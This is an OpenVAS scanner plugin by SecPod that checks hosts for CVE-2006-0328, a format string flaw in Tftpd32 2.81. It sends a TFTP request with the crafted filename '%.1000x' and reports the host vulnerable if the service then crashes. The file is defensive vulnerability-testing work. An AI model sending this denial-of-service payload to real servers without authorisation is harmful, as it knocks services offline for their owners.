TFTPD32 Request Error Message Format String Vulnerability

2012-05-23T00:00:00
ID OPENVAS:1361412562310902835
Type openvas
Reporter Copyright (C) 2012 SecPod
Modified 2019-01-21T00:00:00

Description

This host is running TFTPD32 and is prone to format string vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_tftpd32_req_format_string_vuln.nasl 13202 2019-01-21 15:19:15Z cfischer $
#
# TFTPD32 Request Error Message Format String Vulnerability
#
# Authors:
# Sooraj KS <kssooraj@secpod.com>
#
# Copyright:
# Copyright (c) 2012 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902835");
  script_version("$Revision: 13202 $");
  script_cve_id("CVE-2006-0328");
  script_bugtraq_id(16333);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"$Date: 2019-01-21 16:19:15 +0100 (Mon, 21 Jan 2019) $");
  script_tag(name:"creation_date", value:"2012-05-23 14:14:14 +0530 (Wed, 23 May 2012)");
  script_name("TFTPD32 Request Error Message Format String Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/18539");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/632633");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/24250");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/1424");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/422405");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 SecPod");
  script_family("Denial of Service");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_require_keys("tftp/detected", "Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to cause a denial of service.");

  script_tag(name:"affected", value:"Tftpd32 version 2.81.");

  script_tag(name:"insight", value:"The flaw is due to a format string error when the filename received in
  a TFTP request is used to construct an error message. This can be exploited
  to crash the application via a TFTP request packet containing a specially crafted filename.");

  script_tag(name:"solution", value:"Upgrade to Tftpd32 version 2.8.2 or later.");

  script_tag(name:"summary", value:"This host is running TFTPD32 and is prone to format string
  vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"exploit");

  exit(0);
}

include("tftp.inc");

port = get_kb_item("Services/udp/tftp");
if(!port)
  port = 69;

if(!get_udp_port_state(port))
  exit(0);

if(!tftp_alive(port:port))
  exit(0);

tftp_get(path:"%.1000x", port:port);

if(!tftp_alive(port:port)) {
  security_message(port:port, proto:"udp");
  exit(0);
}

exit(99);